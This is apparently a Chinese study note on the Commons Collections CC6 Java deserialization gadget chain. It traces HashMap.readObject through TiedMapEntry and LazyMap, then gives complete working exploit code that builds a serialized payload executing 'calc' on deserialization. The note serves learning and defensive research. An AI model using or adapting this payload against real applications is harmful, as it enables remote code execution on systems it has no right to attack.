由上篇cc1知道其在1.8.0_71里已经修复了,两条链用不了了,所以看cc6,这个不看JDK版本
而cc6的后半部分一样,都还是LazyMap
而这个使用了HashMap,HashMap.readObject() → putVal → hashCode()
readObject 中是直接调用 putVal``putVal 的第一个参数是 hash(key)
static final int hash(Object key) {
int h;
// 核心:如果key不为null,调用key的hashCode(),再做扰动计算
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
当 key 不为 null 时,必须调用 key 的 hashCode() 方法获取原始哈希值;这也是urldns链
我们要找到一个类的hashcode里面调用LazyMap.get就可以了
TiedMapEntry
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
public Object getValue() {
return map.get(key);
你说咋怎巧呢hascode—getvalue—get,所以我们可以把map.get改成LazyMap.get
entry就是每一个map里面都有的键值对

而且TiedMapEntry是public不像其他Entry一样
开始写,已知
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
然后是hashmap
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
就是我们要到hash(key),然后就会到
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
接着我们会key.hashCode()即TiedMapEntry.hashcode(),这样就接上上面的了,接着会调map.get即LazyMap.get,完成。
所以我们把它的key传成TiedMapEntry
TiedMapEntry tiedMapEntry = new TiedMapEntry(map, "lll");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "kk");
但是跟DNSURL一样不能直接序列化反序列化,因为put会直接调用hash方法,不用反序列化就会弹出计算器。因此我们还是要根据反射改一下值,因为链子是一层套一层,所以中途将任意一层改成空的即可。
就改lazyMap了

可以看到factory 是 LazyMap 类的私有成员变量,于是照常反射,用 getDeclaredField 是拿「成员变量」,用 getMethod 是拿「成员方法」
Class c=LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
我们在这里改成chainedTransformer,意思就是要在put前的那里改成普通的,这样就能在put时不提前调用hash了
//Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
这里不会执行了,但反序列化时也不会执行了,看一下map2.put(tiedMapEntry, "kk");是这里还有key,反序列化时就有这个key了
(我这里没像我看的博主一样进if不知道为什么,但不难看到到这边key是已经有的了,是我们的随便的值lll)

所以删掉就行了
lazyMap.remove("lll");
这样子就能序列化不触发而反序列化时触发了
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException {
Transformer[] trs=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(trs);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "lll");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "kk");
lazyMap.remove("lll");
Class c=LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
serialize(map2);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}